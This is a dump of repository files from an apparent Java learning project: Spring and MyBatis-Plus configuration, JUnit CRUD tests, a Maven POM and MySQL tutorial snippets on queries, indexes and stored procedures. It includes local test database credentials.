    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txmlns:context=\"http://www.springframework.org/schema/context\"\n\txmlns:tx=\"http://www.springframework.org/schema/tx\"\n\txmlns:mybatis-spring=\"http://mybatis.org/schema/mybatis-spring\"\n\txsi:schemaLocation=\"http://mybatis.org/schema/mybatis-spring http://mybatis.org/schema/mybatis-spring-1.2.xsd\n\t\thttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd\n\t\thttp://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-4.0.xsd\n\t\thttp://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-4.0.xsd\">\n\n\n\t<!-- 数据源 -->\n\t<context:property-placeholder\n\t\tlocation=\"classpath:db.properties\" />\n\t<bean id=\"dataSource\"\n\t\tclass=\"com.mchange.v2.c3p0.ComboPooledDataSource\">\n\t\t<property name=\"driverClass\" value=\"${jdbc.driver}\"></property>\n\t\t<property name=\"jdbcUrl\" value=\"${jdbc.url}\"></property>\n\t\t<property name=\"user\" value=\"${jdbc.username}\"></property>\n\t\t<property name=\"password\" value=\"${jdbc.password}\"></property>\n\t</bean>\n\n\t<!-- 事务管理器 -->\n\t<bean id=\"dataSourceTransactionManager\"\n\t\tclass=\"org.springframework.jdbc.datasource.DataSourceTransactionManager\">\n\t\t<property name=\"dataSource\" ref=\"dataSource\"></property>\n\t</bean>\n\t<!-- 基于注解的事务管理 -->\n\t<tx:annotation-driven\n\t\ttransaction-manager=\"dataSourceTransactionManager\" />\n\n\t<!-- 定义MybatisPlus的全局策略配置 -->\n\t<bean id=\"sqlSessionFactory\"\n\t\tclass=\"com.baomidou.mybatisplus.extension.spring.MybatisSqlSessionFactoryBean\">\n\t\t<!-- 数据源 -->\n\t\t<property name=\"dataSource\" ref=\"dataSource\" />\n\n\t\t<!--<property name=\"configLocation\" value=\"classpath:mybatis-config.xml\"/> -->\n\n\t\t<property name=\"configuration\">\n\t\t\t<bean class=\"com.baomidou.mybatisplus.core.MybatisConfiguration\">\n\t\t\t\t<!--开启下划线驼峰映射 -->\n\t\t\t\t<property name=\"mapUnderscoreToCamelCase\" value=\"true\" />\n\t\t\t</bean>\n\t\t</property>\n\t\t<!-- 别名处理 -->\n\t\t<property name=\"typeAliasesPackage\"\n\t\t\tvalue=\"com.jun.plugin.mybatisplus.biz.entity\" />\n\t\t<!-- 注入全局MP策略配置 -->\n\t\t<property name=\"globalConfig\">\n\t\t\t<bean class=\"com.baomidou.mybatisplus.core.config.GlobalConfig\">\n\t\t\t\t<property name=\"dbConfig\">\n\t\t\t\t\t<bean\n\t\t\t\t\t\tclass=\"com.baomidou.mybatisplus.core.config.GlobalConfig.DbConfig\">\n\t\t\t\t\t\t<!--主键规则 -->\n\t\t\t\t\t\t<property name=\"idType\" value=\"AUTO\" />\n\t\t\t\t\t\t<!--表前缀 -->\n\t\t\t\t\t\t<property name=\"tablePrefix\" value=\"tbl_\" />\n\t\t\t\t\t</bean>\n\t\t\t\t</property>\n\t\t\t\t<!--逻辑删除 -->\n\t\t\t\t<property name=\"sqlInjector\" ref=\"logicalDelInjector\" />\n\t\t\t\t<!--公共字段填充处理器 -->\n\t\t\t\t<property name=\"metaObjectHandler\"\n\t\t\t\t\tref=\"myMetaObjectHandler\" />\n\t\t\t</bean>\n\t\t</property>\n\t\t<property name=\"plugins\">\n\t\t\t<list>\n\t\t\t\t<!--拦截非法SQL语句插件 -->\n\t\t\t\t<!--<bean class=\"com.baomidou.mybatisplus.extension.plugins.IllegalSQLInterceptor\"/> -->\n\t\t\t\t<!--注册分页插件 -->\n\t\t\t\t<bean\n\t\t\t\t\tclass=\"com.baomidou.mybatisplus.extension.plugins.PaginationInterceptor\" />\n\t\t\t\t<!--SQL执行分析插件 -->\n\t\t\t\t<!--<bean class=\"com.baomidou.mybatisplus.extension.plugins.SqlExplainInterceptor\"/> -->\n\t\t\t\t<!--SQL性能分析 -->\n\t\t\t\t<bean\n\t\t\t\t\tclass=\"com.baomidou.mybatisplus.extension.plugins.PerformanceInterceptor\">\n\t\t\t\t\t<property name=\"maxTime\" value=\"100\" />\n\t\t\t\t\t<!--SQL是否格式化 默认false -->\n\t\t\t\t\t<property name=\"format\" value=\"true\" />\n\t\t\t\t</bean>\n\t\t\t\t<!--乐观锁插件 -->\n\t\t\t\t<bean\n\t\t\t\t\tclass=\"com.baomidou.mybatisplus.extension.plugins.OptimisticLockerInterceptor\" />\n\n\n\t\t\t</list>\n\t\t</property>\n\t</bean>\n\t<!--逻辑删除 -->\n\t<bean id=\"logicalDelInjector\"\n\t\tclass=\"com.baomidou.mybatisplus.extension.injector.LogicSqlInjector\" />\n\n\t<bean id=\"myMetaObjectHandler\"\n\t\tclass=\"com.jun.plugin.mybatisplus.biz.test.MyMetaObjectHandler\" />\n\t\t\n\t<!-- 配置mybatis 扫描mapper接口的路径 -->\n\t<bean class=\"org.mybatis.spring.mapper.MapperScannerConfigurer\">\n\t\t<property name=\"basePackage\" value=\"com.jun.plugin.mybatisplus.biz.test.mapper\"></property>\n\t</bean>\n\t\n\n</beans>\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/main/resources/db.properties",
    "content": "jdbc.driver=com.mysql.cj.jdbc.Driver\njdbc.url=jdbc:mysql://192.168.15.128:3306/myBatisPlus\njdbc.username=root\njdbc.password=123456\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/main/resources/log4j.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<!DOCTYPE log4j:configuration SYSTEM \"log4j.dtd\">\n \n<log4j:configuration xmlns:log4j=\"http://jakarta.apache.org/log4j/\">\n \n <appender name=\"STDOUT\" class=\"org.apache.log4j.ConsoleAppender\">\n   <param name=\"Encoding\" value=\"UTF-8\" />\n   <layout class=\"org.apache.log4j.PatternLayout\">\n    <param name=\"ConversionPattern\" value=\"%-5p %d{MM-dd HH:mm:ss,SSS} %m  (%F:%L) \\n\" />\n   </layout>\n </appender>\n <logger name=\"java.sql\">\n   <level value=\"debug\" />\n </logger>\n <logger name=\"org.apache.ibatis\">\n   <level value=\"info\" />\n </logger>\n <root>\n   <level value=\"debug\" />\n   <appender-ref ref=\"STDOUT\" />\n </root>\n</log4j:configuration>\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/main/resources/mapper/Company.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<mapper namespace=\"com.jun.plugin.mybatisplus.biz.test.mapper.CompanyMapper\">\n\n    <!-- 通用查询映射结果 -->\n    <resultMap id=\"BaseResultMap\" type=\"com.jun.plugin.mybatisplus.biz.test.entity.Company\">\n        <id column=\"id\" property=\"id\" />\n        <result column=\"name\" property=\"name\" />\n        <result column=\"owner\" property=\"owner\" />\n        <result column=\"location\" property=\"location\" />\n        <result column=\"status\" property=\"status\" />\n    </resultMap>\n\n    <!-- 通用查询结果列 -->\n    <sql id=\"Base_Column_List\">\n        id, name, owner, location, status\n    </sql>\n\n</mapper>\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/main/resources/mapper/Employee.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<mapper namespace=\"com.jun.plugin.mybatisplus.biz.test.mapper.EmployeeMapper\">\n\n    <!-- 通用查询映射结果 -->\n    <resultMap id=\"BaseResultMap\" type=\"com.jun.plugin.mybatisplus.biz.test.entity.Employee\">\n        <id column=\"id\" property=\"id\" />\n        <result column=\"last_name\" property=\"lastName\" />\n        <result column=\"email\" property=\"email\" />\n        <result column=\"gender\" property=\"gender\" />\n        <result column=\"age\" property=\"age\" />\n    </resultMap>\n\n    <!-- 通用查询结果列 -->\n    <sql id=\"Base_Column_List\">\n        id, last_name, email, gender, age\n    </sql>\n\n</mapper>\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/main/resources/mybatis-config.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<!DOCTYPE configuration\nPUBLIC \"-//mybatis.org//DTD Config 3.0//EN\"\n\"http://mybatis.org/dtd/mybatis-3-config.dtd\">\n<configuration>\n\n</configuration>\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/test/java/TestARMP.java",
    "content": "import org.junit.Test;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.support.ClassPathXmlApplicationContext;\n\nimport com.jun.plugin.mybatisplus.biz.entity.Company;\n\n/**\n * AR操作\n * @author BaoZhou\n * @date 2018/10/2\n */\npublic class TestARMP {\n    ApplicationContext ioc = new ClassPathXmlApplicationContext(\"applicationContext.xml\");\n    @Test\n    public void arInsert()\n    {\n        Company company = new Company();\n        company.setOwner(\"bzz\");\n        company.setName(\"超级宇宙公司\");\n        company.setLocation(\"杭州\");\n        boolean insert = company.insert();\n        System.out.println(\"===============================\");\n        System.out.println(\"添加状态\" + insert);\n        System.out.println(\"===============================\");\n    }\n\n    @Test\n    public void arSelect()\n    {\n        Company company = new Company();\n        Company result = company.selectById(2);\n        System.out.println(result);\n\n        System.out.println(\"===============================\");\n\n        Company company1 = new Company();\n        company1.setId(2);\n        Company result2 = company1.selectById();\n        System.out.println(result2);\n    }\n\n    @Test\n    public  void arDelete()\n    {\n        Company company = new Company();\n        boolean result = company.deleteById(5);\n        System.out.println(result);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/test/java/TestMP.java",
    "content": "import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport com.jun.plugin.mybatisplus.biz.test.entity.Employee;\nimport com.jun.plugin.mybatisplus.biz.test.mapper.EmployeeMapper;\n\nimport org.junit.Test;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.support.ClassPathXmlApplicationContext;\n\n/**\n * @author BaoZhou\n * @date 2018/10/8\n */\npublic class TestMP {\n    ApplicationContext ioc = new ClassPathXmlApplicationContext(\"applicationContext.xml\");\n    EmployeeMapper employeeMapper = ioc.getBean(\"employeeMapper\", EmployeeMapper.class);\n\n    @Test\n    public void testPage() {\n        IPage<Employee> employeeIPage = employeeMapper.selectPage(new Page<>(2, 2), null);\n        System.out.println(employeeIPage.getTotal());\n        System.out.println(employeeIPage.getRecords());\n    }\n\n    @Test\n    public void testSQLExplain() {\n        employeeMapper.delete(null);\n\n    }\n\n    @Test\n    public void updateEmployee() {\n        int id = 12;\n        int version = 1;\n\n        Employee u = new Employee();\n        u.setId(id);\n        u.setVersion(version);\n\n        if (employeeMapper.updateById(u) > 0) {\n            System.out.println(\"Update successfully\");\n        } else {\n            System.out.println(\"Update failed due to modified by others\");\n        }\n    }\n\n\n    @Test\n    public void insert() {\n        Employee employee = new Employee();\n        employee.insert();\n    }\n    @Test\n    public void update() {\n        Employee employee = new Employee();\n        employee.setLastName(\"BZBZZ\");\n        employeeMapper.update(employee,new QueryWrapper<Employee>()\n                .eq(\"id\", 15));\n    }\n\n    @Test\n    public void deleteLogic() {\n        employeeMapper.deleteById(13);\n    }\n\n    @Test\n    public void selectLogin() {\n        employeeMapper.selectList(null);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/src/test/java/TestMbp.java",
    "content": "\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport com.jun.plugin.mybatisplus.biz.entity.Employee;\nimport com.jun.plugin.mybatisplus.biz.mapper.EmployeeMapper;\n\nimport org.junit.Test;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.support.ClassPathXmlApplicationContext;\n\nimport java.util.Arrays;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * 普通模式\n * @author BaoZhou\n * @date 2018/10/1\n */\npublic class TestMbp {\n    ApplicationContext ioc = new ClassPathXmlApplicationContext(\"applicationContext.xml\");\n    EmployeeMapper employeeMapper = ioc.getBean(\"employeeMapper\", EmployeeMapper.class);\n\n    @Test\n    public void insert() {\n        Employee employee = new Employee();\n        employee.setLastName(\"BZ\");\n        employee.setAge(27);\n        employee.setEmail(\"123@qq.com\");\n        employeeMapper.insert(employee);\n        System.out.println(employee.getId());\n    }\n\n    @Test\n    public void select() {\n        Map<String, Object> map = new HashMap<>();\n        map.put(\"age\", 27);\n        List<Employee> employees = employeeMapper.selectByMap(map);\n        System.out.println(employees.toString());\n\n        //内存分页，不是从数据表的真实分页\n        IPage<Employee> employeeIPage = employeeMapper.selectPage(new Page<Employee>(2, 2), null);\n        System.out.println(employeeIPage.getRecords().toString());\n\n        //升序排列\n        List<Employee> employees1 = employeeMapper\n                .selectList(new QueryWrapper<Employee>()\n                        .eq(\"gender\", \"1\")\n                        .orderByAsc(\"age\"));\n        System.out.println(\"===============================\");\n        System.out.println(employees1);\n        System.out.println(\"===============================\");\n\n\n    }\n\n    @Test\n    public void selectAsc()\n    {\n        //升序排列\n        List<Employee> employees2 = employeeMapper\n                .selectList(new QueryWrapper<Employee>()\n                        .eq(\"gender\", \"1\")\n                        .orderBy(true, true, \"age\"));\n        System.out.println(\"===============================\");\n        System.out.println(employees2);\n        System.out.println(\"===============================\");\n    }\n    /**\n     * 批量删除\n     */\n    @Test\n    public void delete() {\n        List<Integer> list = Arrays.asList(1, 2, 3);\n        int i = employeeMapper.deleteBatchIds(list);\n        System.out.println(i);\n    }\n\n    /**\n     * 根据ID删除\n     */\n    @Test\n    public void delete2() {\n        int i = employeeMapper.deleteById(6);\n        System.out.println(i);\n    }\n\n    /**\n     * 使用条件构造器QueryWrapper\n     */\n    @Test\n    public void testEntityWrapperSelect() {\n        IPage<Employee> page = employeeMapper.selectPage(new Page<Employee>(1, 2), new QueryWrapper<Employee>()\n                .between(\"age\", \"27\", \"40\")\n                .eq(\"gender\", \"1\")\n                .eq(\"last_name\", \"BZ\"));\n        System.out.println(page.getRecords().toString());\n    }\n\n    @Test\n    public void testConditionSelect() {\n        List<Employee> employees = employeeMapper.selectList(new QueryWrapper<Employee>()\n                .eq(\"gender\", 0)\n                .like(\"last_name\", \"Z\")\n                .or()\n                .like(\"email\", \"Z\"));\n        System.out.println(employees.toString());\n\n        List<Employee> employees2 = employeeMapper.selectList(new QueryWrapper<Employee>()\n                .eq(\"gender\", 0)\n                .like(\"last_name\", \"Z\")\n                .or(i -> i.eq(\"last_name\", \"李白\").ne(\"email\", \"活着\")));\n\n        System.out.println(employees2.toString());\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mycat/pom.xml",
    "content": "<?xml version=\"1.0\"?>\n<project xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\" xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>io.github.wujun728</groupId>\n  <version>1.0</version>\n  <artifactId>jun_mycat</artifactId>\n  <packaging>war</packaging>\n  \n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n  </properties>\n  \n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n    \n    <!-- 目标数据库，这里采用mysql -->\n    <dependency>\n        <groupId>mysql</groupId>\n        <artifactId>mysql-connector-java</artifactId>\n        <version>5.1.40</version>\n    </dependency>\n  </dependencies>\n  <build>\n    <finalName>jun_mycat</finalName>\n  </build>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_mycat/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://java.sun.com/xml/ns/javaee\" xsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd\" id=\"WebApp_ID\" version=\"3.0\">\n  <display-name>jun_test</display-name>\n  <welcome-file-list>\n    <welcome-file>index.html</welcome-file>\n    <welcome-file>index.htm</welcome-file>\n    <welcome-file>index.jsp</welcome-file>\n    <welcome-file>default.html</welcome-file>\n    <welcome-file>default.htm</welcome-file>\n    <welcome-file>default.jsp</welcome-file>\n  </welcome-file-list>\n</web-app>"
  },
  {
    "path": "jun_java_plugins/jun_mycat/src/main/webapp/index.jsp",
    "content": "<html>\n<body>\n<h2>Hello World!</h2>\n</body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_mysql/db_book.sql",
    "content": "/*\r\nSQLyog 企业版 - MySQL GUI v8.14 \r\nMySQL - 5.1.49-community : Database - db_book\r\n*********************************************************************\r\n*/\r\r\n\r\n/*!40101 SET NAMES utf8 */;\r\n\r\n/*!40101 SET SQL_MODE=''*/;\r\n\r\n/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;\r\n/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;\r\n/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;\r\n/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;\r\nCREATE DATABASE /*!32312 IF NOT EXISTS*/`db_book` /*!40100 DEFAULT CHARACTER SET utf8 */;\r\n\r\nUSE `db_book`;\r\n\r\n/*Table structure for table `t_book` */\r\n\r\nDROP TABLE IF EXISTS `t_book`;\r\n\r\nCREATE TABLE `t_book` (\r\n  `id` int(11) NOT NULL AUTO_INCREMENT,\r\n  `bookName` varchar(20) DEFAULT NULL,\r\n  `price` decimal(6,2) DEFAULT NULL,\r\n  `author` varchar(20) DEFAULT NULL,\r\n  `bookTypeId` int(11) DEFAULT NULL,\r\n  PRIMARY KEY (`id`)\r\n) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8;\r\n\r\n/*Data for the table `t_book` */\r\n\r\ninsert  into `t_book`(`id`,`bookName`,`price`,`author`,`bookTypeId`) values (1,'Java编程思想','100.00','埃史尔',1),(2,'Java从入门到精通','80.00','李钟尉',1),(3,'三剑客','70.00','大仲马',2),(4,'生理学(第二版)','24.00','刘先国',4);\r\n\r\n/*Table structure for table `t_booktype` */\r\n\r\nDROP TABLE IF EXISTS `t_booktype`;\r\n\r\nCREATE TABLE `t_booktype` (\r\n  `id` int(11) NOT NULL AUTO_INCREMENT,\r\n  `bookTypeName` varchar(20) DEFAULT NULL,\r\n  PRIMARY KEY (`id`)\r\n) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8;\r\n\r\n/*Data for the table `t_booktype` */\r\n\r\ninsert  into `t_booktype`(`id`,`bookTypeName`) values (1,'计算机类'),(2,'文学类'),(3,'教育类');\r\n\r\n/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;\r\n/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;\r\n/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;\r\n/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;\r\n"
  },
  {
    "path": "jun_java_plugins/jun_mysql/mysql_backup.md",
    "content": "mysqldump -u root -p db_book > c:\\db_book.sql"
  },
  {
    "path": "jun_java_plugins/jun_mysql/mysql_date.md",
    "content": "SELECT CURDATE(),CURTIME(),MONTH(birthday) AS m FROM t_t;\n\nSELECT userName,CHAR_LENGTH(userName),UPPER(userName),LOWER(userName) FROM t_t;\n\nSELECT num,ABS(num) FROM t_t;\n\nSELECT SQRT(4),MOD(9,4) FROM t_t;\n\nINSERT INTO t_t VALUES(NULL,'2013-1-1','a',1,PASSWORD('123456'));\n\nINSERT INTO t_t VALUES(NULL,'2013-1-1','a',1,MD5('123456'));\n\nINSERT INTO t_t VALUES(NULL,'2013-1-1','a',1,MD5('123456'),ENCODE('abcd','aa'));\n\nSELECT DECODE(pp,'aa') FROM t_t WHERE id=5;\n"
  },
  {
    "path": "jun_java_plugins/jun_mysql/mysql_index.md",
    "content": "CREATE TABLE t_user1(id INT ,\n                     userName VARCHAR(20),\n                     PASSWORD VARCHAR(20),\n                     INDEX (userName)\n\t             );\n\t             \nCREATE TABLE t_user2(id INT ,\n                     userName VARCHAR(20),\n                     PASSWORD VARCHAR(20),\n                     UNIQUE INDEX index_userName(userName)\n\t             );\n\t           \nCREATE TABLE t_user3(id INT ,\n                     userName VARCHAR(20),\n                     PASSWORD VARCHAR(20),\n                     INDEX index_userName_password(userName,PASSWORD)\n\t             );\n\t             \nCREATE \tINDEX index_userName ON t_user4(userName);\n\n\nCREATE \tUNIQUE INDEX index_userName ON t_user4(userName);\n\nCREATE  INDEX index_userName_password ON t_user4(userName,PASSWORD);\n\nALTER TABLE t_user5 ADD INDEX index_userName(userName);\n\nALTER TABLE t_user5 ADD UNIQUE INDEX index_userName(userName);\n\nALTER TABLE t_user5 ADD INDEX index_userName_password(userName,PASSWORD);\n\nDROP INDEX index_userName ON t_user5;\n\nDROP INDEX index_userName_password ON t_user5;"
  },
  {
    "path": "jun_java_plugins/jun_mysql/mysql_procedure.md",
    "content": "DELIMITER &&\nCREATE PROCEDURE pro_book ( IN bT INT,OUT count_num INT)\n   READS SQL DATA\n   BEGIN \n     SELECT COUNT(*) FROM t_book WHERE bookTypeId=bT;\n   END \n   &&\nDELIMITER ;\n\nCALL pro_book(1,@total);\n\n\nDELIMITER &&\nCREATE FUNCTION func_book (bookId INT)\n RETURNS VARCHAR(20)\n BEGIN \n  RETURN ( SELECT bookName FROM t_book WHERE id=bookId );\n END \n    &&\nDELIMITER ;\n\nSELECT func_book(2);"
  },
  {
    "path": "jun_java_plugins/jun_mysql/mysql_procedure2.md",
    "content": "DELIMITER &&\nCREATE PROCEDURE pro_user()\n\tBEGIN\n\t DECLARE a,b VARCHAR(20) ;\n\t INSERT INTO t_user VALUES(NULL,a,b);\n\tEND \n&&\nDELIMITER ;\n\nDELIMITER &&\nCREATE PROCEDURE pro_user2()\n\tBEGIN\n\t DECLARE a,b VARCHAR(20) ;\n\t SET a='java1234',b='123456';\n\t INSERT INTO t_user VALUES(NULL,a,b);\n\tEND \n&&\nDELIMITER ;\n\nDELIMITER &&\nCREATE PROCEDURE pro_user3()\n\tBEGIN\n\t DECLARE a,b VARCHAR(20) ;\n\t SELECT userName2,password2 INTO a,b FROM t_user2 WHERE id2=1;\n\t INSERT INTO t_user VALUES(NULL,a,b);\n\tEND \n&&\nDELIMITER ;\n\n\nDELIMITER &&\nCREATE PROCEDURE pro_user4()\n\tBEGIN\n\t DECLARE a,b VARCHAR(20) ;\n\t DECLARE cur_t_user2 CURSOR FOR SELECT userName2,password2 FROM t_user2;\n\t OPEN cur_t_user2;\n\t FETCH cur_t_user2 INTO a,b;\n\t INSERT INTO t_user VALUES(NULL,a,b);\n\t CLOSE cur_t_user2;\n\tEND \n&&\nDELIMITER ;\n\nDELIMITER &&\nCREATE PROCEDURE pro_user5(IN bookId INT)\n\tBEGIN\n\t SELECT COUNT(*) INTO @num FROM t_user WHERE id=bookId;\n\t IF @num>0 THEN UPDATE t_user SET userName='java12345' WHERE id=bookId;\n\t ELSE\n\t   INSERT INTO t_user VALUES(NULL,'2312312','2321312');\n\t END IF ;\n\tEND \n&&\nDELIMITER ;\n\nDELIMITER &&\nCREATE PROCEDURE pro_user6(IN bookId INT)\n\tBEGIN\n\t SELECT COUNT(*) INTO @num FROM t_user WHERE id=bookId;\n\t CASE @num\n\t  WHEN 1 THEN UPDATE t_user SET userName='java12345' WHERE id=bookId;\n\t  WHEN 2 THEN INSERT INTO t_user VALUES(NULL,'2312312','2321312');\n\t  ELSE INSERT INTO t_user VALUES(NULL,'231231221321312','2321312321312');\n\t END CASE ;\n\tEND \n&&\nDELIMITER ;\n\n\nDELIMITER &&\nCREATE PROCEDURE pro_user7(IN totalNum INT)\n\tBEGIN\n\t  aaa:LOOP\n\t    SET totalNum=totalNum-1;\n\t    IF totalNum=0 THEN LEAVE aaa ;\n\t    ELSE INSERT INTO t_user VALUES(totalNum,'2312312','2321312');\n\t    END IF ;\n\t  END LOOP aaa ;\n\tEND \n&&\nDELIMITER ;\n\n\n\nDELIMITER &&\nCREATE PROCEDURE pro_user8(IN totalNum INT)\n\tBEGIN\n\t  aaa:LOOP\n\t    SET totalNum=totalNum-1;\n\t    IF totalNum=0 THEN LEAVE aaa ;\n\t    ELSEIF totalNum=3 THEN ITERATE aaa ;\n\t    END IF ;\n\t    INSERT INTO t_user VALUES(totalNum,'2312312','2321312');\n\t  END LOOP aaa ;\n\tEND \n&&\nDELIMITER ;\n\nDELIMITER &&\nCREATE PROCEDURE pro_user9(IN totalNum INT)\n\tBEGIN\n\t  REPEAT\n\t     SET totalNum=totalNum-1;\n\t     INSERT INTO t_user VALUES(totalNum,'2312312','2321312');\n\t     UNTIL totalNum=1 \n\t  END REPEAT;\n\tEND \n&&\nDELIMITER ;\n\nDELIMITER &&\nCREATE PROCEDURE pro_user10(IN totalNum INT)\n\tBEGIN\n\t WHILE totalNum>0 DO\n\t  INSERT INTO t_user VALUES(totalNum,'2312312','2321312');\n\t  SET totalNum=totalNum-1;\n\t END WHILE ;\n\tEND \n&&\nDELIMITER ;\n\nCALL pro_user();\n\nCALL pro_user2();\n\nCALL pro_user3();\n\nCALL pro_user4();\n\nCALL pro_user5(5);\n\nCALL pro_user6(6);\n\nCALL pro_user7(11);\n\nCALL pro_user8(11);\n\nCALL pro_user9(11);\n\nCALL pro_user10(10);\n\n\nDELETE FROM t_user;"
  },
  {
    "path": "jun_java_plugins/jun_mysql/mysql_procedure3.md",
    "content": "SHOW PROCEDURE STATUS LIKE 'pro_book';\n\nSHOW CREATE PROCEDURE pro_book;\n\nALTER PROCEDURE pro_book  COMMENT '我来测试一个COMMENT';\n\nDROP PROCEDURE pro_user3;"
  },
  {
    "path": "jun_java_plugins/jun_mysql/mysql_sqltext.md",
    "content": "SELECT id,stuName,age,sex,gradeName FROM t_student ;\n\nSELECT stuName,id,age,sex,gradeName FROM t_student ;\n\nSELECT * FROM t_student;\n\nSELECT stuName,gradeName FROM t_student;\n\nSELECT * FROM t_student WHERE id=1;\n\nSELECT * FROM t_student WHERE age>22;\n\nSELECT * FROM t_student WHERE age IN (21,23);\nSELECT * FROM t_student WHERE age NOT IN (21,23);\n\nSELECT * FROM t_student WHERE age BETWEEN 21 AND 24;\nSELECT * FROM t_student WHERE age NOT BETWEEN 21 AND 24;\n\nSELECT * FROM t_student WHERE stuName LIKE '';\nSELECT * FROM t_student WHERE stuName LIKE '%';\nSELECT * FROM t_student WHERE stuName LIKE '__';\nSELECT * FROM t_student WHERE stuName LIKE '%%';\n\nSELECT * FROM t_student WHERE sex IS NULL;\nSELECT * FROM t_student WHERE sex IS NOT NULL;\n\nSELECT * FROM t_student WHERE gradeName='һ꼶' AND age=23\nSELECT * FROM t_student WHERE gradeName='һ꼶' OR age=23\n\nSELECT DISTINCT gradeName FROM t_student;\n\nSELECT * FROM t_student ORDER BY age ASC;\nSELECT * FROM t_student ORDER BY age DESC;\n\nSELECT * FROM t_student GROUP BY gradeName;\n\nSELECT gradeName,GROUP_CONCAT(stuName) FROM t_student GROUP BY gradeName;\n\nSELECT gradeName,COUNT(stuName) FROM t_student GROUP BY gradeName;\n\nSELECT gradeName,COUNT(stuName) FROM t_student GROUP BY gradeName HAVING COUNT(stuName)>3;\n\nSELECT gradeName,COUNT(stuName) FROM t_student GROUP BY gradeName WITH ROLLUP;\nSELECT gradeName,GROUP_CONCAT(stuName) FROM t_student GROUP BY gradeName WITH ROLLUP;\n\nSELECT * FROM t_student LIMIT 0,5;\nSELECT * FROM t_student LIMIT 5,5;\nSELECT * FROM t_student LIMIT 10,5;"
  },
  {
    "path": "jun_java_plugins/jun_mysql/mysql_sqltext2.md",
    "content": "SELECT COUNT(*) FROM t_grade;\n\nSELECT COUNT(*) AS total FROM t_grade;\n\nSELECT stuName,COUNT(*) FROM t_grade GROUP BY stuName;\n\nSELECT stuName,SUM(score) FROM t_grade WHERE stuName=\"张三\";\n\nSELECT stuName,SUM(score) FROM t_grade GROUP BY stuName;\n\nSELECT stuName,AVG(score) FROM t_grade WHERE stuName=\"张三\";\n\nSELECT stuName,AVG(score) FROM t_grade GROUP BY stuName;\n\nSELECT stuName,course,MAX(score) FROM t_grade WHERE stuName=\"张三\";\n\nSELECT stuName,MAX(score) FROM t_grade GROUP BY stuName;\n\nSELECT stuName,course,MIN(score) FROM t_grade WHERE stuName=\"张三\";\n\nSELECT stuName,MIN(score) FROM t_grade GROUP BY stuName;"
  },
  {
    "path": "jun_java_plugins/jun_mysql/mysql_sqltext3.md",
